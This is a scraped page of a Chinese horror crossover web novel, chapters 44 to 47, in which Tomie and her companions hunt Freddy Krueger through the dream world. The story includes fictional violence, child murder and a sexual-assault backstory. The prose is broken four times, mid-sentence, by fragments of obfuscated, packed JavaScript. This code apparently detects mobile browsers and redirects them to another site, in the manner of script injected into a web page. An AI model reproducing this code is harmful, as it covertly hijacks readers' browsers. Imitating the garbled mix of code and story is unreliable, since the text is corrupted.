“我只是在问她是不是最近也有做噩梦。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815450|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她这么一说,南茜一团乱麻的脑中竟还真的浮现出了一段模模糊糊的印象。 “好,好像……那天早上我确实跟蒂娜是这么说的。” 她也做了噩梦。不仅她,男友格伦也做了。但那噩梦就像是手中的水一样,从醒来开始就不断从指缝漏出去,最终只剩下一点点模糊的痕迹。 “但我已经不记得自己做过什么噩梦了……对不起。” “没关系。” 眼见帕克已经松开了自己的胳膊,富江坐下来,嘴角的弧度又扩大了几分。 “你说的这些对我们已经有很大的帮助了,谢谢你南茜。” 言语间,她甚至伸出手,亲亲密密地搂住了对方的胳膊。 “哦……呃……”南茜显然被富江的举动搞了个措手不及。“不客气,这是,这是我应该做的。” “嘿,各位,我有个不好的消息。” 正在这时,打完电话的曼达急匆匆返回了座位。 “刚才跟律师通过电话,但他这两天有事,没办法立刻启程过来这里。我可能要亲自去那边一趟才行,但是……” 曼达后半句话没说完,但在场的所有人都知道她想说什么。 弟弟还在警察局里,她不放心。 “曼达,亲爱的不然这样吧。”帕克站起身,伸手扶住了女友的肩膀。“你回城里去找律师,我呆在这,有什么事也可以打个照应。” “谢谢你帕克,可你妹妹该怎么办?” “她——” “我也留在这里。” 未等帕克做出回答,富江站起身,来到了情侣二人身边。 “亲爱的曼达,我也想帮你的忙。” “哦?哦,谢谢你。但是,我是说这件事本来和你关系也不大。” 富江闻言,一眨不眨地盯着金发女郎:“相信我,曼达。” 话音刚落,曼达的神色就变得恍惚了起来。 “我可以帮上忙,也可以保护你的弟弟。”那甜美的声音带着一丝蛊惑的意味,“我会和帕克留在这,等你把律师带回来。” 曼达缓缓地点了点头。 “好的……好的……富江……” 见自己的要求得到满足,女孩高兴地伸出双臂,给了金发女人一个大大的拥抱。 “真是太感谢了!我会和哥哥等你回来的。” 曼达离开后,南茜也表明自己还要回学校上课,离开了餐厅。 四人组一下又只剩下了帕克和富江。 不过这次,青年没有再一味忍让,而是黑着脸把自己“妹妹”拉回了车上。 “刚才你对曼达和那个女孩做了什么?” “只是让她们比平时更加能听我的话而已。” 虽然一上车就被帕克牢牢钳制住,哪怕那双箍着她的大手看上去都快把两条小细胳膊勒断了,她都没皱一下眉头,而是依然笑盈盈的。 “放心,不会有什么事的。而且你看,我们这不就有线索了。” 那份怨念并非无法追溯的东西。 南茜所唱的童谣,甚至她的经历,都为他们提供了线索。 那个杀人凶手,就躲藏在梦境里。 44. 第 44 章 诅咒和杀害孩子的元凶躲在梦里,多少也算是重大发现。 可,接下来又该怎么办? “所以,我们现在要做什么,回去睡觉?然后看看能不能在梦里找到那家伙?” “没有那么简单。” 从几个做了噩梦的少年少女身上带着稀薄的诅咒来看,那家伙挑选受害人是有自己的标准的。 “小镇上有这么多人,每个人每天都会做梦,为什么偏偏是这几个孩子?” 被富江这么一说,帕克也有些泄气,坐了回去。 “你说的是,我太急躁了。” “不过,如果我入侵罗德或者南茜的意识——” 话还没听完,帕克猛然又坐起身:“什么?!不行,绝对不行!” “为什么?现在这是最快的办法了。”富江说完,自己想了想,又恍然大悟道:“哦,放心吧,入侵的时候我会很小心,不会伤到那两个孩子的。” 帕克的表情瞬间变得很绝望:“不……这……话不是这么说的。” 他忽然有种无力感。和面前披着人皮的“她”之间,那种思维上的偏差,让二人之间的沟通都变得困难起来。 更何况,他也无法左右对方的行动。 “我求求你……至少,不要伤害那两个孩子。他们是无辜的。” 男人身上弥漫着恐惧的味道,但少见的,富江没有因此变得食欲大开,而是皱起眉。 又来了。每次,当富江认为自己可以和帕克建立起基本的信任关系的时候,总是会变成这样。 虽然人类的恐惧和绝望对她来说是绝佳的餐品,但总是在交新朋友这件事上受挫,也让富江有点气馁。 她干脆抱着膝盖,把自己蜷成一团缩在副驾驶座的椅子上。 “好吧,如果不能从梦境世界入手,那我们恐怕就要调查更多有关于杀人犯的信息了。” 以往富江总能通过吞噬残留的负面能量来获取情报,但这次不同。 “你知道吗帕克,我找不到蒂娜的灵魂。” “……什么意思?” 女孩耐心地解释:“枉死者的灵魂通常不会立刻往生,就像是乔什先生还有俱乐部的其他人。但我在蒂娜·格雷的家里什么都没发现。她不在她死亡的现场,也不在罗德的身边。” “你是说——” 青年皱起眉,他立刻想起了之前给他们提供情报的女孩南茜所唱的童谣。 “她被‘弗莱迪’抓走了。” 这首童谣并未在其他地方流传,只限定在榆树街所处的小镇。 也就是说,它的原型很有可能是一个真实的,发生在本地的故事。并且,非常有名。 有名到当地人将它改编成了一首童谣。 “好吧,我想我知道接下来的调查方向是什么了。” 帕克决定去小镇上搜集关于这首童谣的情报。 不过这次,他准备一个人去。 在启程收集情报前,青年特地把车开到旅馆,将身边的这个大麻烦安置在了定好的房间。 “真的不需要我帮忙吗?” 有时候富江实在是无法理解帕克的行动逻辑。明明自己的能力更好用,而且,她也说过了,不会伤害其他人。 但这个固执的青年却依然选择自己去寻找线索。 “不,线索就让我来找吧。请你保护好罗德……他毕竟是曼达的弟弟。” 若不是对方身上弥漫着不信任与恐惧的情绪,富江甚至会以为自己已经成功交到了新朋友了。 眼见男人离开,女孩百无聊赖地在书桌边坐着,翻看起了旅馆内放置的圣经。 过了一会儿,她忽然自言自语似的开口道:“为什么我做了这么多,甚至也没发脾气没闯祸,帕克先生就是不相信我呢?” 女孩捧着厚厚的圣经转过身,不知何时,屋内忽然多了一个人影。 那人影白裙黑发,长长的头发垂落在胸前,五官非常清秀美丽,面色却苍白得不似活人。 “山村小姐知道吗?” 女人闻言,眼珠子动了动,转向了富江。 屋内弥漫起了一股阴冷的气息。 她整个人只有眼睛看向了还在翻阅圣经的女孩,身体甚至头部都依然一动不动,连起伏都没有,像是不用呼吸一般。 然而面对如此渗人的女性,富江并未害怕,而是撅着嘴将圣经丢回了桌上。 “凌叔叔都不会这样,唉,和不同的人交往好累啊……” “因为你的力量太强大了。” 冷不丁的,一道幽幽的女声响起。 “越是强大的力量,越会让人类感到恐惧。而你甚至让他直接看到了这些。” 富江听着山村贞子的话,若有所思地抿了抿唇。 “哪怕我没有别的心思?” “哪怕你没有。” “哼……好吧,谢谢你的解答,我会参考。” 停顿了几秒,见山村贞子并未消失,富江又眨眨眼。 “但是,总归也是有例外的,对吧?” 富江窥见过女人的记忆,知道她曾经也有一位相爱的恋人。 那人虽然也知道山村贞子有奇怪的力量,却并未感到恐惧。最终,他也死在了能力暴走的山村贞子手里。 富江一直隐隐觉得,这位文静的山村小姐在获得自由后依然不肯往生,甚至自愿和她待在一起,多少有点这件事的影响。 她一直在后悔,也一直在怀念那位恋人。 富江又想起了南茜·汤普森,那个有一双美丽的蓝色眼睛的女孩。 她也在为了朋友奔走。即使友人已经死了,即使大人们都不相信,即使自己也被诅咒缠上。也依然没有放弃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823190|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这让她想起了月子。 不光是山村贞子和南茜,月子也是。 即使在那幢屋子里看到了失去形体的自己,从特斯卡特利波卡口中获知了真相,月子也依然想要帮她。 “是啊,凡事都有例外。” 富江抬眸看向山村贞子,发现对方少见地露出了一个笑容。 于是她也笑了:“我是真的很想帮上忙。” 说不清理由,或许是为了觅食,或许是为了保护对自己很好的曼达的弟弟。 “失去朋友的感觉,很不好,我知道的。” 又或者,是在看到为友人奔走的南茜时唐突想起的月子。 “山村小姐,能帮帮我吗?” “梦境……并不是一个独立的个体。” “诶?” 苍白的贞子看着富江,继续道:“人的精神可以被感知和连接,梦境也是一样的。或者说,它本来就是一个庞大的‘世界’。” “而你,从未做过梦。” 富江微微张开嘴,下一秒,她恍然大悟似的站起身:“对啊!” 是的,富江本人,从未做过梦。 因为睡眠对她来说,并非必需品。从前在老宅,她还会学习模仿人类的生活习惯,每天至少要睡两到三个小时。 但自从特斯卡特利波卡出现在她的生活里,富江主动开始成长之后,睡眠的时间就更少了。 很多时候,为了获取更多知识,她往往放弃了睡眠。 至于山村贞子,或者身为姐姐的川上富江,富江都是在精神世界直接与她们交流的。 也就是说,降临于这个世界的她,尚未真的踏足那个所谓的梦境世界。 “也就是说……我的精神世界就像是小房子,而梦就是小房子之外的世界……原来是这样吗?!真是太感谢你了山村小姐!” 女孩惊喜地抬起头,却发现,屋子里空无一人。那位给她指了条明路的女人已经离开了。 富江向来是想到什么就做什么的,就像现在,她得知了自己在整个事件里的思维盲区之后,立刻躺在了床上,开始尝试进入睡眠。 两个小时后,当最后一丝夕阳即将沉入地底,匆匆回到旅馆的帕克打开房门就看到了这样一幅景象—— 富江乖乖地躺在床上,也没盖被子,就是躺在正中央,直挺挺地看着天花板眨眼睛。 “……你在干什么?” 听到来人,女孩侧过头:“我在尝试主动进入睡眠状态,不过整个过程不是很成功。” 不知道前因后果的帕克一头雾水,不过富江经常说一些让人听不懂的话,所以他也不在意。 “好吧,不过恐怕你现在暂时还不能睡觉。” 男人将一摞旧得有些发黄的剪报丢在床上:“我打听到了那首童谣和‘弗莱迪’的情报,有兴趣听听么?” 45. 第 45 章 想在一个小镇打听情报有很多种方法,其中最简单的自然是小镇上开了多年的酒吧餐馆,以及流连在内的,上了年纪胡子也花白的老酒鬼们。 帕克虽然是个外地人,但他也是个经常去各种异国旅游的背包客,进了酒馆以后没多长时间就跟那群平时都有些微醺的老头子打好了关系。 几杯酒下肚,最好的谈资总归是小镇曾经发生过的离奇事件。 比如那首童谣。 “酒馆里的老人很热情,还把童谣写到了纸上。” 富江从床上坐起身,拿起了散落在身旁的最新的一张纸。 1、2 弗莱迪会来找你; 3、4 锁好你的门; 5、6 盖上你的脸; 7、8 呼吸将停止; 9、10 你永远失眠。 “……还挺短的嘛。” 青年讽刺地笑了笑,将手里的行李随手丢到旁边的桌子上。 他没有选择坐到床边,而是绕过富江,瘫在了靠椅上。 “童谣很短,但里面的故事可不少。” 就比如弗莱迪这个名字。它并非杜撰,而是一个人类的真实姓名。 这个人全名弗莱迪·克鲁格,曾经就是这座小镇的噩梦。 “我去酒馆才知道,这附近以前有座很大的精神病院。” 他说完停顿了一下,发现富江的神情很平静,便清了清嗓子继续道。 “好吧,你可能不知道。但……几十年前的精神病院可不是什么好地方。” 那时候对精神病尚未有系统性的研究,所谓的精神病院实际上只是关押这些不安定人员的“监狱”。一般只有想要研究这些人的医生,或是修道院的神职人员在会一直在里面工作。 久而久之,总会有人因为其中恶劣的环境变得疯狂残忍。他们有的人可能是医生,有的人可能是原本就被关押在内的病人,又或者二者皆有。 “听说那是一场事故,一位在精神病院工作的修女不小心被关在了里面。然后她……” 帕克咽了咽口水,声音有些喑哑。 “据说她在里面待了很久,因为无法离开,大约有100多个病人强///暴了这个可怜的女孩。” 但更加悲惨的是,她并没有因此死亡,而是在一年之后诞下了一个男婴。 而他就是弗莱迪·克鲁格。 不知道是因为不幸的童年,还是说他的体内本就残留着“恶魔之血”,总之,在顺利成年并一跃成为中产阶级后,弗莱迪·克鲁格便逐渐开始走向了邪恶。 他先是结婚,紧接着利用自己的财产在榆树街买下一座锅炉工厂。而那里,成为了他满足自己邪恶欲///望的秘密地点。 “他开始诱拐小镇上的孩子,将他们带到工厂恐吓,虐待,最后……杀了这些孩子。” 富江低下头,看已经发黄的剪报。虽然已经脆得像是一碰就要碎了,但上面黑色的油墨依然冷静又清晰地记载着当年榆树街上发生的惨案。 “他的老婆是个正常人,所以当克鲁格意识到自己的行为被发现了之后,他掐死了他妻子。这让警察抓住了这个连环杀手的尾巴。” 弗莱迪·克鲁格被捕了。 但这个故事并不像童话那般一帆风顺。 弗莱迪·克鲁格早就是财富自由的中产阶级了,他依靠金钱买通了当时的法官,以至于最终,这个手上有着累累人命的恶魔被无罪释放。 没人能接受这个结果。 一直在查案的警察不能,媒体不能,受害者的家属们更不能。 失去了孩子的家长们盛怒之下,决定动用私刑。 “酒馆里的人告诉我,当年克鲁格被他杀害的孩子们的家长一路追杀到了他犯案的锅炉厂,被堵死在了里面。” 家长们在锅炉厂内外洒满了汽油,并点燃了它们。 这最终导致了弗莱迪·克鲁格的死亡。七年前,他被复仇者点燃的火焰活活烧死在了工厂里。 “那之后工厂就废弃了,童谣也是在那时候开始流行的。” 虽然受害人的亲属们不想再提起这个残杀儿童的邪恶之人,但他的恐怖传说却早已通过童谣,留在了这座小镇。并成为了阳光下久久无法散去的阴影。 甚至在七年后,这阴影开始逐渐扩大,并真的开始吞噬无辜之人。 “我还跟他们打听了一下蒂娜·格雷,你猜怎么着?” “什么?” 帕克叹了口气:“记得南茜吗?今天跟我们说话的那女孩。她的父母,蒂娜的父亲,甚至还有罗德的养父,他们都是当年克鲁格杀害的小孩的亲属。当然,不是直系亲属,只是和受害者有血缘关系。” 虽然只死了蒂娜一个,但酒馆里已经开始流传谣言了。 弗莱迪可能会回来的谣言。 富江小心翼翼地将散落在床上的剪报一张一张收拾好,并逐个阅读着上面的新闻。 “凄惨的案件” “冷血的恶魔” “克鲁格可能被诬陷?” “工厂大火,逃脱法律制裁的恶魔的末路” “……这个故事听上去很有趣。” “有趣?哪里?” 富江的手指停留在“弗莱迪·克鲁格,精神病人之子”几个粗体印刷上。 “从这些故事里来看,这位克鲁格先生在生前并没有表现出特别的力量。他只是,怎么说呢,喜欢杀人?” 在富江看来,这个儿童杀手本质和斯洛伐克那个虐杀俱乐部里的客户,都是同一类人。 善于伪装,撒谎成性,冷血,将自己的快乐建立在他人的痛苦之上。 简单来说,就是邪恶的人。 虽说这样的恶徒尝起来味道不错,但一次性吃了太多,就算是富江也会想换换口味。 她甚至已经开始有点怀念当年的佐伯伽椰子小姐了。 “……听着,对于普通人类来说,喜欢杀人本身就已经很不正常了。” 富江还在思考怎么让自己入梦呢,闻言抬眼瞥了帕克一下:“啊,我知道。我只是有些好奇,他是通过什么在死后获得这份力量的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825423|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 男人闻言连鼻子都皱了起来,就像是听见了什么令他生理性恶心的话题一般。 “谁知道……可能他确实是恶魔之子吧。” 但富江不这么觉得。 如果他真的是恶魔之子,应该在童年就会显现出类似的力量。就像是山村小姐和她的母亲那般,再不济也应该是佐伯伽椰子那种情况。 “……莫非是遇到了神?” “什么?” 富江那句轻微的呢喃是用日语说的,帕克完全没有听懂。 不过富江也懒得跟对方解释自己的想法,毕竟这对抓住这个梦中恶魔也没什么帮助。 女孩看着手中的剪报以及那首童谣,思考了半天得出了最终结论: “好吧,果然还是得睡着了进到梦里。” “什么意思?” “有人告诉我,梦境并非独立的个体,而是一个巨大的‘世界’。” 女孩耸耸肩,将整理好的情报放到了床头,还细心地用圣经将它们压好。 “如果真的想找到那家伙的蛛丝马迹,只能进入梦境中。” 富江解释的简单明了,但帕克的重点却不在“梦境世界”。 “‘有人’?什么人告诉你的?” “我的朋友山村小姐,她看我很苦恼,所以提醒了我一下。” “……” 怎么说呢,帕克现在是一个字都不想再追问了。不管是那个突然冒出来的日本名字,还是富江的“朋友”到底是怎么联系上她的。 他不想回去再做别的噩梦! “所以你刚才一直在尝试……睡觉?” 危机意识早就拉满的男人火速转移了话题。 “你,你平时——” 话说出口到一半,看着女孩有些懵懂的眼神,帕克忽然才发现,自己虽然对富江的警惕性很高,却从未关注过这个女孩平时的生活细节。 因为在他的认知里,她做什么都是在伪装。 所以当帕克发现眼前的“怪物”似乎并没有自己想的那么全知全能,无所不会时,有一种奇妙的荒谬感逐渐溢满了他的内心。 男人并没有太藏着自己的情绪,所以富江笑了:“很失望我不是无所不能的?” “不,我只是……”帕克张开嘴,想说什么,但停顿了几秒后,也笑了起来。“只是有点惊讶。” 想来也是,如果她真的全知全能,刚到斯洛伐克就该动手了,他也不会失去自己的朋友。 “好吧,怎么说呢嗯……” 青年抓了抓自己有些硬的头发,最终下定决心似的站起身。 “你知道的,我刚回来的时候一直被失眠和噩梦折磨,所以去看了很多医生。” 他说着,从自己随身携带的行李箱里掏出了两瓶药。 这些都是精神科医生给他开的,专门针对睡眠障碍用的安眠药。 “听着,我不敢保证这种药物是否对你有效果。” 青年将药瓶递给了富江。 “不过,我们总得试试,不是吗?” 46. 第 46 章 帕克给的药很管用。 服用之后没多久,富江便陷入了沉沉的睡眠。 要问为什么这么笃定,因为等女孩再睁开眼,自己身处的卧室已经空无一人。 陷入沉睡之前,富江与帕克约好,由他来做那个“控制阀门”。因为进入梦境很简单,但是否能依靠自己的力量走出梦境却没有定论。 若是出现什么问题,届时就会由帕克在现实呼唤富江的名字,来将她的意识拉回来。 如今,床边的沙发椅上并没有坐着等待的帕克。 女孩下了床,开始端详身处的屋子。似乎和睡之前没什么区别,只有大门是开着的,外面隐隐有奇妙的雾气飘进来。 皮肤接触到雾气的一瞬间,感觉到了凉意。这让女孩意识到,她确实已经进入了一个与现实世界不同的地方。 欣喜过后,好奇心不可抑制地涌了上来。于是,她毫不犹豫地推开了虚掩着的大门。 门外并非亮着暖光灯的旅馆长廊,而是一片黑黢黢的空地,看上去像是野外。 雾气更重了,寒意从皮肤开始渐渐往里渗透,富江眨了眨眼,向黑暗中迈开了腿。 到现在为止,她并没有感知到什么奇怪的东西。不过,这梦境世界的空气中,确实弥漫着一股对她来说异常熟悉的气味。 恐惧与恶意的味道。 远处,隐隐传来了奇妙的歌声。细听之下,像是小孩吟唱的童谣。 富江循着声音,找到了一处残破的教堂。 黑夜之中,有几个小孩子正围在教堂门前玩着游戏。歌谣就是从他们口中传出来的。 “1、2 弗莱迪会来找你;3、4 锁好你的门。” 孩子们围在一起,唱着,跳着绳。 “5、6 盖上你的脸;7、8 呼吸将停止。” 富江缓缓地走进,他们却像是没有看到一般,自顾自地玩闹着。 “9、10 你永远失眠。” 说是玩闹也不对,因为除了唱歌之外,他们谁也没有发出欢快的笑声。 富江并没有打扰这些孩子,因为她已经看出来了,他们并非活人。 这些玩着游戏,唱着歌谣的孩子,早就已经不在人世了。 而他们唱的童谣,正是讲述弗莱迪·克鲁格杀人的那首。 “……你是谁?” 像是感应到了一般,声音响起的同时,富江转过头。她看到了一个金色卷发,穿着连衣裙的可爱小女孩。 小女孩站在废弃教堂的门口,怯怯地看着她。 “我是……”富江想了想,“我和朋友失散了,找不到回家的路。” 小女孩眨巴着眼睛看着富江,半晌道:“你和你的朋友不该来这里。” “为什么这么说?” 那个女孩不再说话,一双大眼睛直直地看着富江。空地上的歌声并未停止,那些看似玩闹的小孩并没有因为她们二人的对话而受到影响。 若是普通人,恐怕早就已经被这诡异的场景吓得双腿发软了,但偏偏富江并不是什么普通人。 “你叫什么名字?” 见女孩不说话,她又换了个话题。 “……我不记得了。”小女孩落寞地垂下头。“我在这里待了很久,没有人叫我的名字。” 富江摸了摸小女孩的脸颊,冷冰冰的,她也不是活人。 “那,你想回家吗?” “……我为什么要回家?” 富江蹲下身,摸了摸女孩毛茸茸的卷发:“因为回了家,认识的人才会叫你的名字,我才能知道你叫什么呀。” 小女孩的表情终于有了一丝动摇,即使在黑夜中也能看出,她有一双水汪汪的,蓝色的大眼睛:“我真的能,回家吗?” 话音刚落,黑夜中无端刮起了一阵风。 梦境的世界里是不会有自然现象的。 富江从风中闻到了气味。 是她喜欢的气味。 恐惧,悲伤,痛苦以及,因伤害他人,由内而外发散出的快乐。 不知何时身旁的歌谣声停止了。 富江转过头,原本站在她面前的那个小姑娘,以及不远处玩闹的孩童们都消失得无影无踪。 “他……是他要来了……” 废旧的教堂里,传出了那个小姑娘颤抖的,带着哭腔的声音。 “快走……” 寂静的夜里,传来了什么人尖利的笑声。 察觉到那股奇妙的力量并未朝着自己的方向来,富江勾起嘴角。 “谢谢你,可爱的小妹妹。不过,我可不会离开哦。” 毕竟,她就是为了这件事才特地来到梦里的嘛。 如今,重要线索都已经出现了,她又怎么能离开? 认真掩盖住自己的气息,沿着风中飘散出的味道,女孩哼着小曲,向黑暗中走去。 因为不知道对方的来头,富江甚至没有放出阴影中的本体,也没有通过吸收弥漫在梦境中的负面能量来获取自己想要的情报。 简单来说,她准备完全将自己伪装成一只无辜闯入梦境世界的,纯洁的“小羊”。 这还是她从电视节目上学到的,扮猪吃虎,应该是这么个说法。 “啊……对对,不能这么悠哉。” 富江一边自言自语,一边端正了自己的态度。歌也不哼了,总之就是把自己装得更加柔弱无助一些。 越是靠近那股邪风的方向,负面的情绪和能量便越蓬勃,连带着梦中的景色也开始变化。 看着像是从小镇街道来到了一处工厂的郊外。 富江回忆起了从剪报中看到的,模糊的老照片。 这里就是弗莱迪·克鲁格杀害小孩子的现场。 雾气愈发浓郁了。同时,空气中弥漫着的香气也越来越重。 “南茜……南茜……” 耳边传来一阵又一阵,幽幽的呼唤声。不过,叫的并非富江的名字,而是白日那名在榆树街遇到的女孩的名字。 和刚才遇到的小女孩一样,南茜也有一双美丽的蓝眼睛。 富江喜欢那个女孩,因为,她会让她想起月子。 再往里走两步,漆黑的小路上,出现了一个白色的身影。 说身影并不准确,因为对方被套在了一个半透明的袋子里。外人只能从拉链拉开的缝隙,窥见其中的面貌。 是一个短头发的女孩,她闭着眼睛站在裹尸袋里,脸上还沾着血。 她就是蒂娜·格雷。 “……晚上好。” 没有在对方身上感知到恶意或是杀意,富江便向对方打了个招呼。 “有什么需要我帮忙的吗?” 原本失踪的死者灵魂出现在了梦中,这进一步证实了富江一开始的猜测。 被弗莱迪·克鲁格杀死的人,灵魂也不会得到救赎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859249|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只会和生命一起被这个恶魔吞噬掉。 “南茜……请你……帮帮她。” 蒂娜张开了嘴,她的声音却像是从四面八方传来的一般。同时,女孩的口中吐出了蜈蚣。 “这里很危险。” 富江低下头,发现蒂娜的脚下也缠满了各式各样的蛇虫。 显然,这个可怜的女孩死后也没有得到安宁。 富江面无表情地看着满身是血的蒂娜,半晌,忽然笑了一下。 “好啊,我去帮她。” 她将手指放在唇边,对着蒂娜轻轻“嘘”了一下。 “不过,你要帮我保守秘密哦。” 不然,狡猾的猎物逃跑了可就糟了。 踏入工厂后,富江深深地吸了一口空气。 与漆黑的郊外不同,这里虽然光线也很昏暗,却并不寒冷,甚至弥漫着一股汽油以及什么东西烧焦了的气味。 弗莱迪·克鲁格是被受害人的家长们追杀到工厂里,最后被火火烧死的。 他生前最爱的,便是将小孩抓到工厂来,像猫捉老鼠似的玩弄,最后杀死他们。 想必南茜的灵魂也已经被拉进了这座工厂,那,她现在又在哪呢? “嗯……就找一下下应该不要紧吧?” 说着,女孩闭上眼,影子中的“泥”化作一个个调皮的“蝌蚪”,悄无声息地融入漆黑的工厂,开始向四周扩散。 富江听到了声音,是南茜的声音。 她呼唤着好友的名字,行走在漆黑的工厂长廊中。 下一秒—— “罗德?!哦天呐,罗德!不要睡,快醒醒!” 伴随着南茜的惊叫声,富江睁开眼睛咂了咂舌。 虽然她是在罗德身上看到了类似的怨念,但没想到对方的胃口居然这么大。想在一个晚上就把剩下的目标都收割掉。 顺着感知到的方位,黑发女孩难得没有使用力量潜行进影子里,而是迈开双腿朝那个方向跑了过去。 “罗德,快醒醒——!” 富江找到南茜的时候,她正站在锅炉房上方的走廊,对着下面大喊大叫。 “没用的,他已经睡着了。” 不忍心看对方继续做无用功,她出言叫住了女孩。 “是谁——哦我的天呐,你,你是白天的……” 茶色卷发的少女半蹲在走廊上,惊讶地看着来人。 “叫我富江就好。” “为什么你会在这?” 进入梦境世界的南茜显然没有看上去的那么冷静,她站起身,几步就跑到了富江面前,抓住了她的胳膊。 “莫非,你……你也被噩梦缠上了吗?” 富江眨了眨眼。 其实是她缠上了噩梦,不过数次和人类交往沟通的经验告诉富江,这时候保持沉默都比说实话要好。 “对了,我看到了罗德!他,他也在梦里。” 南茜现在脑子一片混乱,基本上是想到什么就说什么。她拉着富江走到长廊上,指着下面一个明亮的小囚室。 “你看,他就在那!我们必须叫醒他!” 正如女孩说的那般,曼达的弟弟罗德,此刻也正在梦里。 不过,不知道是他自己太过劳累,还是梦境的主宰者心怀恶意。总之,现在这个倒霉蛋正沉沉地睡在属于自己的牢房中。 他比她们看上去更像是那个待宰的羔羊。 47. 第 47 章 南茜试图叫醒沉睡在笼中的羔羊。 她大喊着,努力用手拍打铁质的走廊,发出哐当哐当的巨响。 但于事无补,罗德所处的环境依旧安然无恙。 “该死的……” “叫醒他又有什么用?” “……什么?” 南茜愣住了,她似乎没听懂富江在说什么,只是下意识看向身旁的女孩,神情很迷惑。 “我说,叫醒他又有什么用?” 话说出口的那一刻,富江感觉到一股强大的,带着恶意的力量正逐渐逼近。 看来,真正的罪魁祸首已经玩够了。 她朝着惊慌失措的南茜露出笑容:“你也在梦里啊,就算叫醒了他,你也依然会身陷险境。” “为什么要这么说?” 南茜尚未察觉到逼近的危机,面对这个迄今为止也只见过两面的女孩,她感到很生气。 “他是我的朋友,我难道要对朋友见死不救吗?!” 富江蹲在牢房的正上方,歪着头看着面前的女孩。 即使生气的时候,那双蓝眼睛也闪耀着独属于自己的生机。 真的很漂亮,无论是那双像宝石般的眸子,还是她的灵魂。 这让富江笑出了声:“好吧,我道歉,你是个好孩子。” 说完,她伸出右手,抓住了南茜的手臂。同时,左手的五指张开,伸到了牢房上方。 南茜这才察觉到了不对。她想挣开身旁女孩的束缚,却惊讶地发现,对方虽然力道不大,那只柔软的手却像是有魔力一般,让自己动弹不得。 “你……你是谁?” 女孩的神情变得惊恐而无助,水汽弥漫在她的眼眶中,晶莹剔透。 “我是富江呀。” 念出名讳的那一刻,富江的左手指间渗出了一滴黑红色的,浓稠的液体。 那液体直接穿过了带有孔洞的长廊,落到了罗德的脸上。只一个眨眼,便悄无声息地渗进了少年体内。 下一个瞬间,少年猛地睁开眼睛,悲鸣出声。 那声音凄惨又痛苦,就像是看到了这辈子最恐怖的噩梦一般。 但也仅仅只有一秒,因为下一秒,他就整个人凭空消失在了牢房中。 “你做了什么?!” 南茜慌了,见好友直接在自己面前消失,她甚至忘记了恐惧,反手抓住自己面前的女孩。 “哦,不好意思,我也是第一次做这种事,没掌握好力道。” 而富江,即使南茜已经愤怒得像是快要燃烧起来了,她依然老神在在,仿佛自己只是擦拭了一下窗台上的灰尘一般。 “放心,他不会有事的。” “什……?!” 柔软而微凉的手指抚上她的脸颊,南茜看到面前的富江笑着,有黑红色的东西在她的双眼中扩散。 “明天见,亲爱的。” 下一秒,一股巨大的力量包裹住了女孩。她感觉自己的灵魂和内在被什么无形的东西撕扯着。 南茜发出了一声惊叫,随后消失在了原地。 一回生二回熟,在将罗德驱赶出梦境世界之后,富江把南茜也送了出去。 女孩拍了拍裙子上不存在的尘土,哼着小镇的童谣站起身。 长廊的楼梯下,赫然出现了一个穿着红绿色条纹上衣,戴着帽子的神秘人。 “好吧,好吧,好吧。” 他嗓音沙哑,语调戏谑,一边说着一边夸张地张开双臂。 “可爱的,崭新的小羊羔又多了一只。欢迎!” 工厂里很黑,只有隐隐的光线照射在来人身上,勾勒出他身形的轮廓,以及不断摆动的,尖锐的“手指”。 “欢迎来到,美妙的,奇幻的,梦境的世界!” 寂静的工厂中划过金属刮擦的刺耳声音,仔细看去,那些尖锐的手指,竟然是带着刀锋的利刃! 富江一瞬间就想到了凶案现场的鲜血,以及蒂娜·格雷死亡时的惨状。 那个可怜的女孩浑身都被利刃划烂了,但警察却没有找到凶器。 因为凶器在梦里,它还在凶手身上。 罗德说得对,这个杀害了蒂娜的恶魔,他有一只尖利的,带着刀片的爪子。 “……晚上好?” 富江努力尝试拗出一个惊恐的表情,或者让自己显得更无措一些。 几秒后,她大大地叹了口气,决定放弃。 这太难了,比她学习知识或者摸索力量要难得多。 “哦?让我看看,嗯……” 